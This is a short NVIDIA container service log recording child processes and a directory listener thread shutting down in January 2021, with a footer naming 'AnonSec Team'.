#5(I)[2021-01-13 23:43:28,891]{0000088C}<NvpChildProcess>  Wait for container 00000000000003A8 - C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session to stop for 15000 ms
#6(I)[2021-01-13 23:43:28,891]{000005AC}<DirectoryListene> Quit event signaled. Ending thread function.
#7(I)[2021-01-13 23:43:36,203]{0000088C}<NvpWatchdog>      Child containers stopped
#8(I)[2021-01-13 23:43:36,219]{000005BC}<DirectoryListene> Waiting for the listener thread to finish...
#9(I)[2021-01-13 23:43:36,219]{000005BC}<DirectoryListene> Listener thread finished...

Anon7 - 2022
AnonSec Team